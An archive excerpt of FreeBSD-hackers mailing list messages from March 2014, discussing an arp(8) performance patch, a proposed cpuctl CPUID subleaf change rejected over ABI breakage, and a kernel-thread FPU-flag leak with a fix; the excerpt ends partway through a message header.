10.58.181.170 with SMTP id dx10mr2064047vec.25.1395869071073; Wed, 26 Mar 2014 14:24:31 -0700 (PDT) Received: by 10.52.106.170 with HTTP; Wed, 26 Mar 2014 14:24:31 -0700 (PDT) Date: Wed, 26 Mar 2014 14:24:31 -0700 Message-ID: Subject: arp(8) performance - use if_nameindex() instead of if_indextoname() From: Nick Rogers To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Mar 2014 21:24:32 -0000 This is in reference to an old thread in this list referenced here: http://www.mail-archive.com/freebsd-hackers@freebsd.org/msg157105.html Running arp -na from a shell can still take a very long time to complete on systems with thousands of VLAN interfaces and ARP entries. This is because if_indextoname() is an extremely heavy (slow) operation, and it is called for every ARP entry in src/usr.sbin/arp/arp.c. The following commit addressed a similar issue when many aliases were configured on a given interface, however as Adrian Chadd pointed out, does not help for cases where the interface name alternates between entries. This is exactly what happens when many VLANs interfaces exist, and each has only one IP alias. http://svnweb.freebsd.org/base?view=revision&revision=209063 I propose that instead of calling if_indextoname() for every entry, we leverage if_nameindex() to obtain a cache of if_index to if_name mappings, before printing all the entries. This results in a considerable performance improvement for my situation, and also handles the case that was "fixed" in the commit I just mentioned. I took a shot at this and came up with the following diff against HEAD. I used routed's route6d.c as a reference, which is the only thing I could find utilizing if_nameindex(). I am currently using this in production environments with great success. Index: usr.sbin/arp/arp.c =================================================================== --- arp.c (revision 263777) +++ arp.c (working copy) @@ -104,6 +104,8 @@ static time_t expire_time; static int flags, doing_proxy, proxy_only; +struct if_nameindex *ifnameindex; + /* which function we're supposed to do */ #define F_GET 1 #define F_SET 2 @@ -204,6 +206,9 @@ break; } +if (ifnameindex != NULL) + if_freenameindex(ifnameindex); + return (rtn); } @@ -557,13 +562,15 @@ /* * Display an arp entry */ -static char lifname[IF_NAMESIZE]; -static int64_t lifindex = -1; static void print_entry(struct sockaddr_dl *sdl, struct sockaddr_inarp *addr, struct rt_msghdr *rtm) { + + if (ifnameindex == NULL) + ifnameindex = if_nameindex(); + const char *host; struct hostent *hp; struct iso88025_sockaddr_dl_data *trld; @@ -595,12 +602,15 @@ } } else printf("(incomplete)"); - if (sdl->sdl_index != lifindex && - if_indextoname(sdl->sdl_index, lifname) != NULL) { - lifindex = sdl->sdl_index; - printf(" on %s", lifname); - } else if (sdl->sdl_index == lifindex) - printf(" on %s", lifname); + + struct if_nameindex *p; + for (p = ifnameindex; p && ifnameindex->if_index && ifnameindex->if_name; p++) { + if (p->if_index == sdl->sdl_index) { + printf(" on %s", p->if_name); + break; + } + } + if (rtm->rtm_rmx.rmx_expire == 0) printf(" permanent"); else { The following illustrates the performance improvement: [root@vm ~/arp]# ifconfig -a | grep vlan | grep interface | wc -l 1500 [root@vm ~/arp]# arp -na | wc -l 1503 [root@vm ~/arp]# time /usr/sbin/arp.old -na > /dev/null real 0m5.529s user 0m0.813s sys 0m4.231s [root@vm ~/arp]# time /usr/sbin/arp -na > /dev/null real 0m0.011s user 0m0.008s sys 0m0.002s [root@vm ~/arp]# I realize this may not be the cleanest way of implementing if_nameindex within arp.c. I'm hoping Max Laier or someone else can help me out (again) and get an adequate fix committed. Thanks! -Nick Rogers From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 27 04:46:30 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id D6EAA27D for ; Thu, 27 Mar 2014 04:46:30 +0000 (UTC) Received: from mail-pb0-x229.google.com (mail-pb0-x229.google.com [IPv6:2607:f8b0:400e:c01::229]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id B0221BD0 for ; Thu, 27 Mar 2014 04:46:30 +0000 (UTC) Received: by mail-pb0-f41.google.com with SMTP id jt11so2948604pbb.28 for ; Wed, 26 Mar 2014 21:46:29 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=lVlGD4uA7pP8SGXLngEplFZTcoZVptYZktQoFZOzhUo=; b=H5LySXhN9RPYAlLYQuwdyC4fuSOiwm84kP8th7KydlAJkSOz91E1subvJtjVLEuU1Y dfS8BU3rR3/2tBt1p+5MqfG1cwpweTkwzA7CiXo07qqYwSXSxnuXP2MBI7uMbOCXqdyj 88KKqAiJul7gReZ013QTc7uak1tsHmXRAVfoSw34I3VJeJJtvN9UIBAJ41TnjnGgHWP0 Yzu5LHH8ASU7AZ+5pg2WQd2V6wmzbVde6THjFQJ2911TQw6GWP0soZKhluz7SUYvC42s G4OvcNbQ24Pm90QWe+chRHuQedbI8qpaXcKqj4yD611Wy3dNOQD3MmbjUGo1Go1ycqxU fHGA== X-Received: by 10.66.218.234 with SMTP id pj10mr117518pac.156.1395895589889; Wed, 26 Mar 2014 21:46:29 -0700 (PDT) MIME-Version: 1.0 Received: by 10.68.137.200 with HTTP; Wed, 26 Mar 2014 21:45:59 -0700 (PDT) In-Reply-To: <20140326155429.GK21331@kib.kiev.ua> References: <20140326155429.GK21331@kib.kiev.ua> From: Jia-Shiun Li Date: Thu, 27 Mar 2014 12:45:59 +0800 Message-ID: Subject: Re: Add CPUID subleaf capability to cpuctl/cpucontrol To: Konstantin Belousov Content-Type: text/plain; charset=UTF-8 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Mar 2014 04:46:31 -0000 On Wed, Mar 26, 2014 at 11:54 PM, Konstantin Belousov wrote: > On Wed, Mar 26, 2014 at 11:18:02PM +0800, Jia-Shiun Li wrote: >> Hi all, >> >> I am recently writing a small tool playing msr with cpuctl(4). >> Meanwhile I found that it is currently not passing value but 0 in ECX >> register to CPUID instruction as input. So I have the attached patch >> to do it. >> >> ECX is used to specify sub-leaf for some EAX leaf value. For example >> EAX=0x04: Deterministic Cache Parameters Leaf >> EAX=0x0b: Extended Topology Enumeration Leaf >> with the attached patch user will be able to get subleaf info by >> writing applications using cpuctl(4) ioctl or by using cpucontrol(8) >> with -s flag. >> >> Please comment. >> >> Regards, >> Jia-Shiun. > >> Index: sys/dev/cpuctl/cpuctl.c >> =================================================================== >> --- sys/dev/cpuctl/cpuctl.c (revision 263420) >> +++ sys/dev/cpuctl/cpuctl.c (working copy) >> @@ -204,7 +204,7 @@ >> oldcpu = td->td_oncpu; >> is_bound = cpu_sched_is_bound(td); >> set_cpu(cpu, td); >> - cpuid_count(data->level, 0, data->data); >> + cpuid_count(data->level, data->sublevel, data->data); >> restore_cpu(oldcpu, is_bound, td); >> return (0); >> } >> Index: sys/sys/cpuctl.h >> =================================================================== >> --- sys/sys/cpuctl.h (revision 263420) >> +++ sys/sys/cpuctl.h (working copy) >> @@ -36,6 +36,7 @@ >> >> typedef struct { >> int level; /* CPUID level */ >> + int sublevel; /* sublevel */ >> uint32_t data[4]; >> } cpuctl_cpuid_args_t; > > This breaks the ABI. If you want to extend the CPUCTL_CPUID, > define new ioctl number for the extended structure, and keep the > old arg structure and old number handled by the compat shims. Due > to the construction of the CPUCTL_CPUID using _IOWR(), you in fact > get the new number due to the structure size change. > > But IMO adding this functionality to a driver does not make much sense > at all. I remember that at time when initial version of cpuctl(4) > was written, we did not have useful implementation of cpuset(2). > Now, when it is possible to bind thread to a core from usermode, > you do not need a driver providing interface to CPUID, since CPUID > is usermode instruction. thank you. I did not realize the ABI issue. I will try using affinity to get CPUID info in user space. It looks better with both regards. Thanks, Jia-shiun. From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 27 09:03:13 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8A4DBF79 for ; Thu, 27 Mar 2014 09:03:13 +0000 (UTC) Received: from elf.torek.net (50-73-42-1-utah.hfc.comcastbusiness.net [50.73.42.1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 3DED4266 for ; Thu, 27 Mar 2014 09:03:12 +0000 (UTC) Received: from elf.torek.net (localhost [127.0.0.1]) by elf.torek.net (8.14.5/8.14.5) with ESMTP id s2R92nPo064876 for ; Thu, 27 Mar 2014 03:02:49 -0600 (MDT) (envelope-from torek@torek.net) Message-Id: <201403270902.s2R92nPo064876@elf.torek.net> From: Chris Torek To: freebsd-hackers@freebsd.org Subject: slight problem with r254457 (kthread_add fix) Date: Thu, 27 Mar 2014 03:02:49 -0600 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (elf.torek.net [127.0.0.1]); Thu, 27 Mar 2014 03:02:49 -0600 (MDT) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Mar 2014 09:03:13 -0000 This fix: http://lists.freebsd.org/pipermail/svn-src-head/2013-August/050550.html has introduced a bit of a problem with kernel threads that enable the FPU, on amd64. Before the fix, a new thread added to proc0 (when kthread_add() is called with p == NULL) was essentially "forked from" thread0: if (p == NULL) { p = &proc0; oldtd = &thread0; } Now, each such new thread "forks from" the *newest* thread in proc0: if (p == NULL) p = &proc0; ... PROC_LOCK(p); oldtd = FIRST_THREAD_IN_PROC(p); The problem is that "first thread in proc" is really the *last* (i.e., most recent) thread in the proc, as thread_link() does a TAILQ_INSERT_HEAD() on p->p_threads, and FIRST_THREAD_IN_PROC takes the TAILQ_FIRST element. What this means is that if something enables the FPU (e.g., a device creates a taskq thread and enables the FPU in that thread, so that the device can use XMM registers), every subsequent taskq also has the FPU enabled. (We found this by unconditionally enabling the extensions in various threads, assuming that new ones did not have FPU enabled for kernel use yet. That worked until we picked up this particular change.) The fix itself is fine but "forking from" the most-recent kernel thread, rather than thread0, for this case seems wrong. I see three obvious ways to fix *that*: - Restore the old behavior: if (p == NULL) { p = &proc0; oldtd = &thread0; } else oldtd = NULL; ... PROC_LOCK(p); if (oldtd == NULL) oldtd = FIRST_THREAD_IN_PROC(p); Conservative, will definitely work, but still seems a bit odd behavior-wise: a new "not in a proc" kthread clones from thread0, but a new "is in a proc" kthread clones from most-recent-thread in that kernel proc. (But that's what this did before the fix, modulo the bug where it cloned from a dead thread...) - Pick the *last* (i.e., earliest still-alive) thread in the proc: PROC_LOCK(p); oldtd = LAST_THREAD_IN_PROC(p); where LAST_THREAD_IN_PROC uses the tail entry on the tailq (pretty straightforward). - Get rid of FIRST_THREAD_IN_PROC entirely, as it's not clear what "first" means (at least it was not to me: I assumed at first that it meant the *oldest*, i.e., first-created, one): add new macro accessors NEWEST_THREAD_IN_PROC, OLDEST_THREAD_IN_PROC, and (for when you don't care about order) SOME_THREAD_IN_PROC [%], and start using those where appropriate. The thread_link() routine then puts "newest" and "oldest" at whichever end of the tailq is best for kernel code space/speed, and only it and the macros need to agree. [% Needs better name. Perhaps just THREAD_IN_PROC?] I actually like the last option best, but it is the largest overall change and it messes with all kinds of other kernel code (there are 62 occurrences of FIRST_THREAD_IN_PROC in a count I just ran). However, it becomes clearer which thread is really wanted. (I'm going to do the first fix, for now at least, in our kernel.) Chris From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 27 12:07:31 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AE31C322 for ; Thu, 27 Mar 2014 12:07:31 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 319F1895 for ; Thu, 27 Mar 2014 12:07:31 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s2RC7Lq6051073; Thu, 27 Mar 2014 14:07:21 +0200 (EET) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s2RC7Lq6051073 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s2RC7KYX051072; Thu, 27 Mar 2014 14:07:20 +0200 (EET) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Thu, 27 Mar 2014 14:07:20 +0200 From: Konstantin Belousov To: Chris Torek Subject: Re: slight problem with r254457 (kthread_add fix) Message-ID: <20140327120720.GN21331@kib.kiev.ua> References: <201403270902.s2R92nPo064876@elf.torek.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="dngyMJhgXGAL5Gb8" Content-Disposition: inline In-Reply-To: <201403270902.s2R92nPo064876@elf.torek.net> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Mar 2014 12:07:31 -0000 --dngyMJhgXGAL5Gb8 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Mar 27, 2014 at 03:02:49AM -0600, Chris Torek wrote: > This fix: >=20 > http://lists.freebsd.org/pipermail/svn-src-head/2013-August/050550.html >=20 > has introduced a bit of a problem with kernel threads that enable > the FPU, on amd64. >=20 > Before the fix, a new thread added to proc0 (when kthread_add() is > called with p =3D=3D NULL) was essentially "forked from" thread0: >=20 > if (p =3D=3D NULL) { > p =3D &proc0; > oldtd =3D &thread0; > } >=20 > Now, each such new thread "forks from" the *newest* thread in proc0: >=20 > if (p =3D=3D NULL) > p =3D &proc0; > ... > PROC_LOCK(p); > oldtd =3D FIRST_THREAD_IN_PROC(p); >=20 > The problem is that "first thread in proc" is really the *last* > (i.e., most recent) thread in the proc, as thread_link() does a > TAILQ_INSERT_HEAD() on p->p_threads, and FIRST_THREAD_IN_PROC > takes the TAILQ_FIRST element. >=20 > What this means is that if something enables the FPU (e.g., a > device creates a taskq thread and enables the FPU in that thread, > so that the device can use XMM registers), every subsequent taskq > also has the FPU enabled. (We found this by unconditionally > enabling the extensions in various threads, assuming that new ones > did not have FPU enabled for kernel use yet. That worked until > we picked up this particular change.) >=20 > The fix itself is fine but "forking from" the most-recent kernel > thread, rather than thread0, for this case seems wrong. I see > three obvious ways to fix *that*: >=20 > - Restore the old behavior: >=20 > if (p =3D=3D NULL) { > p =3D &proc0; > oldtd =3D &thread0; > } else > oldtd =3D NULL; > ... > PROC_LOCK(p); > if (oldtd =3D=3D NULL) > oldtd =3D FIRST_THREAD_IN_PROC(p); >=20 > Conservative, will definitely work, but still seems a bit odd > behavior-wise: a new "not in a proc" kthread clones from thread0, > but a new "is in a proc" kthread clones from most-recent-thread > in that kernel proc. (But that's what this did before the fix, > modulo the bug where it cloned from a dead thread...) >=20 > - Pick the *last* (i.e., earliest still-alive) thread in the proc: >=20 > PROC_LOCK(p); > oldtd =3D LAST_THREAD_IN_PROC(p); >=20 > where LAST_THREAD_IN_PROC uses the tail entry on the tailq > (pretty straightforward). >=20 > - Get rid of FIRST_THREAD_IN_PROC entirely, as it's not clear > what "first" means (at least it was not to me: I assumed at > first that it meant the *oldest*, i.e., first-created, one): > add new macro accessors NEWEST_THREAD_IN_PROC, > OLDEST_THREAD_IN_PROC, and (for when you don't care about > order) SOME_THREAD_IN_PROC [%], and start using those where > appropriate. The thread_link() routine then puts "newest" and > "oldest" at whichever end of the tailq is best for kernel code > space/speed, and only it and the macros need to agree. >=20 > [% Needs better name. Perhaps just THREAD_IN_PROC?] >=20 > I actually like the last option best, but it is the largest > overall change and it messes with all kinds of other kernel code > (there are 62 occurrences of FIRST_THREAD_IN_PROC in a count I > just ran). However, it becomes clearer which thread is really > wanted. >=20 > (I'm going to do the first fix, for now at least, in our kernel.) I agree with the problem statement, but disagree with the proposed 'fix'. I.e., I agree that on the creation of a new kernel thread, the current thread FPU grab state must not leak into the created thread. In fact, cpu_set_upcall() already almost handles this correctly, by resetting the pcb_save pointer back to the user save area. What is not done is the clearing of PCB_KERNFPU flag, which seems to be the issue you met. Am I right ? If yes, then the following patch should handle the problem, hopefully. diff --git a/sys/amd64/amd64/vm_machdep.c b/sys/amd64/amd64/vm_machdep.c index 335a9c9..bc7b311 100644 --- a/sys/amd64/amd64/vm_machdep.c +++ b/sys/amd64/amd64/vm_machdep.c @@ -446,7 +446,8 @@ cpu_set_upcall(struct thread *td, struct thread *td0) * values here. */ bcopy(td0->td_pcb, pcb2, sizeof(*pcb2)); - clear_pcb_flags(pcb2, PCB_FPUINITDONE | PCB_USERFPUINITDONE); + clear_pcb_flags(pcb2, PCB_FPUINITDONE | PCB_USERFPUINITDONE | + PCB_KERNFPU); pcb2->pcb_save =3D get_pcb_user_save_pcb(pcb2); bcopy(get_pcb_user_save_td(td0), pcb2->pcb_save, cpu_max_ext_state_size); diff --git a/sys/i386/i386/vm_machdep.c b/sys/i386/i386/vm_machdep.c index ba61bdf..3562954 100644 --- a/sys/i386/i386/vm_machdep.c +++ b/sys/i386/i386/vm_machdep.c @@ -457,7 +457,8 @@ cpu_set_upcall(struct thread *td, struct thread *td0) * values here. */ bcopy(td0->td_pcb, pcb2, sizeof(*pcb2)); - pcb2->pcb_flags &=3D ~(PCB_NPXINITDONE | PCB_NPXUSERINITDONE); + pcb2->pcb_flags &=3D ~(PCB_NPXINITDONE | PCB_NPXUSERINITDONE | + PCB_KERNNPX); pcb2->pcb_save =3D &pcb2->pcb_user_save; =20 /* --dngyMJhgXGAL5Gb8 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTNBR3AAoJEJDCuSvBvK1BpwUP/3W4HV8fedrekWaaMPH8wHQ/ D++VO5csIj6tPlYV5VcmTO89zapDgUq9I5YHM4qIHbA/fgidqafu9JN/ugkl6EBh 7uaRKPzUL9mk/jTKRlGmzuKcKQwHt/hqJZyFbOxF8I9NlwEv3PRgXnnXNi+/0XRu k6cIj5c5gjQdinHhM74HFrC7MJkJciwz6s3dG+GEq9qebvFD9OJHPBdNLsvgws/q F6KyWUhinuGbvMMS87w4NPKXB9/5AGqvpHo5lSJWKXSUSurXQxpF4A8tuGk7srk8 xqo/2eWZiwVFRcHm9Ol2C7q/5HPHz2TPuTAHbrN2hHD0byWPAsbgNKaYlWTIq2ks y4Rgfb50LYhGajPFLZ3/mM46rxw7ujWPPuCDr4mAn5ztpUC5Phzn3Lbqf49Jpokz n/cFJBc6tOWMsqsm7y3aakdphIAWpT30KCFSHvhLGgYuetosbAR9tsnzJN+nmHSI +udvWWQ82GPbbxL9BU7ULWpMR4SrAG9Na+KccOLMukT80wpL1aUj6JtfhkcnftK4 DftDhNx1ysm7FGRQDPqvsn0AqlqOwoH5awoMXaWajArjYd+ecVVOgzxLQ2hzJcPJ 0LwvwI/sToZjXALm7eZWDCDjvxy/4g9YOwbG+NJaIqEXswndxNVFdyTnpgA5mjmt 1ESeauS1zDHZj//FDN5K =gUZi -----END PGP SIGNATURE----- --dngyMJhgXGAL5Gb8-- From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 27 12:39:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 50297188 for ; Thu, 27 Mar 2014 12:39:05 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id E26CDB48 for ; Thu, 27 Mar 2014 12:39:04 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s2RCd0L0057482; Thu, 27 Mar 2014 14:39:00 +0200 (EET) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s2RCd0L0057482 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s2RCcx9K057481; Thu, 27 Mar 2014 14:38:59 +0200 (EET) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Thu, 27 Mar 2014 14:38:59 +0200 From: Konstantin Belousov To: Jia-Shiun Li Subject: Re: Add CPUID subleaf capability to cpuctl/cpucontrol Message-ID: <20140327123859.GP21331@kib.kiev.ua> References: <20140326155429.GK21331@kib.kiev.ua> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="0WzQiIesntPPsVaS" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Mar 2014 12:39:05 -0000 --0WzQiIesntPPsVaS Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Mar 27, 2014 at 12:45:59PM +0800, Jia-Shiun Li wrote: > On Wed, Mar 26, 2014 at 11:54 PM, Konstantin Belousov > wrote: > > On Wed, Mar 26, 2014 at 11:18:02PM +0800, Jia-Shiun Li wrote: > >> Hi all, > >> > >> I am recently writing a small tool playing msr with cpuctl(4). > >> Meanwhile I found that it is currently not passing value but 0 in ECX > >> register to CPUID instruction as input. So I have the attached patch > >> to do it. > >> > >> ECX is used to specify sub-leaf for some EAX leaf value. For example > >> EAX=3D0x04: Deterministic Cache Parameters Leaf > >> EAX=3D0x0b: Extended Topology Enumeration Leaf > >> with the attached patch user will be able to get subleaf info by > >> writing applications using cpuctl(4) ioctl or by using cpucontrol(8) > >> with -s flag. > >> > >> Please comment. > >> > >> Regards, > >> Jia-Shiun. > > > >> Index: sys/dev/cpuctl/cpuctl.c > >> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > >> --- sys/dev/cpuctl/cpuctl.c (revision 263420) > >> +++ sys/dev/cpuctl/cpuctl.c (working copy) > >> @@ -204,7 +204,7 @@ > >> oldcpu =3D td->td_oncpu; > >> is_bound =3D cpu_sched_is_bound(td); > >> set_cpu(cpu, td); > >> - cpuid_count(data->level, 0, data->data); > >> + cpuid_count(data->level, data->sublevel, data->data); > >> restore_cpu(oldcpu, is_bound, td); > >> return (0); > >> } > >> Index: sys/sys/cpuctl.h > >> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > >> --- sys/sys/cpuctl.h (revision 263420) > >> +++ sys/sys/cpuctl.h (working copy) > >> @@ -36,6 +36,7 @@ > >> > >> typedef struct { > >> int level; /* CPUID level */ > >> + int sublevel; /* sublevel */ > >> uint32_t data[4]; > >> } cpuctl_cpuid_args_t; > > > > This breaks the ABI. If you want to extend the CPUCTL_CPUID, > > define new ioctl number for the extended structure, and keep the > > old arg structure and old number handled by the compat shims. Due > > to the construction of the CPUCTL_CPUID using _IOWR(), you in fact > > get the new number due to the structure size change. > > > > But IMO adding this functionality to a driver does not make much sense > > at all. I remember that at time when initial version of cpuctl(4) > > was written, we did not have useful implementation of cpuset(2). > > Now, when it is possible to bind thread to a core from usermode, > > you do not need a driver providing interface to CPUID, since CPUID > > is usermode instruction. >=20 >=20 > thank you. I did not realize the ABI issue. I will try using affinity > to get CPUID > info in user space. It looks better with both regards. =46rom what I remember, in the multi-socket configuration Intel allows CPUs to only differ by stepping. Due to this, I see only one possible uses of executing CPUID on specific core, to get the stepping of the package, to either test for the presence of the specific CPU bug, or to select the proper microcode update. That said, I am curious why do you want this feature. --0WzQiIesntPPsVaS Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTNBvjAAoJEJDCuSvBvK1BQSsP/iFjQEPrzRf/37cSr/GbtIIx At6wxK+OzyAkZ7NPeCI74SZb4fbFATDeef/n4RtOeYvgeWK9PEMTytIxgL/AReQ9 xNlnyUjtrJ0cyi8ALxGC3A5wa0gvmmTBHF7P0tm1mez0kIoI7912nd5agsk84u+j F/zqr4a4ytdrVb3nHUMrhGeLXas9xSCLVrSiZDb5vpSUTn748FzLrA839s/8a9Tt iondfcsLhQSSUaczHkZFkIy/Lf8GmqDI4qbsZ42Y5+pp7dOl1PU1s9+kOpmZvjge 2YbwLEmQS3Z9mSBdVwl6Zp8bzg6XU/4noGOBte5nxqfMagXnFkZ9lUSo77h4m6O1 rd3TI8S6v/4inUrfh2Wye+Emgy57gb/nTpFvQCbnvLwg7Qj3rn+dcAlu6Rb/WUrf eDZrACh8s08s5YTdveXGdVyHALivN5AZbscWvu42L2RwcZFcFiwX6/BXIryi5HXd u5ZGFAa1UVNkxDF0m6eJIoEUvxDcl0ZU6GtbBHuKgO3l2wdSX3Fx77VWlY4s/kay m9LNJq9PL5S4cGCMn78YRuexTdkjqoJjZOjmBR0igGNUhSDBTBD3MLpJMDifZ+Mn Eb8+Mvv5baZ0weM/YpqiGb7J7OfQPb99nQY7ajVpyAFPu394PmFRQfj7yJ+YbG7C RrQ3BQTi0b+g5CFgfLoe =s7S8 -----END PGP SIGNATURE----- --0WzQiIesntPPsVaS-- From owner-freebsd-hackers@FreeBSD.ORG Thu Mar 27 14:34:28 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6E6CB9CF for ; Thu, 27 Mar 2014 14:34:28 +0000 (UTC) Received: from mail-we0-x236.google.com (mail-we0-x236.google.com [IPv6:2a00:1450:400c:c03::236]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id CBF8B909 for ; Thu, 27 Mar 2014 14:34:27 +0000 (UTC) Received: by mail-we0-f182.google.com with SMTP id p61so1804405wes.41 for ; Thu, 27 Mar 2014 07:34:26 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=1ZJF0ujoaxWT3O9zXPwhMp9iq724qcFCiBzxDCq9gFs=; b=w+Ui1ASKPONBxct4mFE+uWrbAXdcPpUAAsQivi9xTmQkPzl+W7h85aG9cSz8TGQYiK Qmo9wNyZ3sW95MQ+g4Ed4DaXJJZqyvrg+jCwmxga+pWlH27XBwjfPCnSZBMDLGYEksoo P/hMKa2NsbXudGx1krRnHVEPSZGhWkHHPTHrmIxxoTe+B0APHmq13a8PNGBCTncQIolW kFaID+a1ocNCcaXGsrINfkCryunjcqgzvIMMfvHFH4pYiqRDqdts3yWp70DWCp7nf3P9 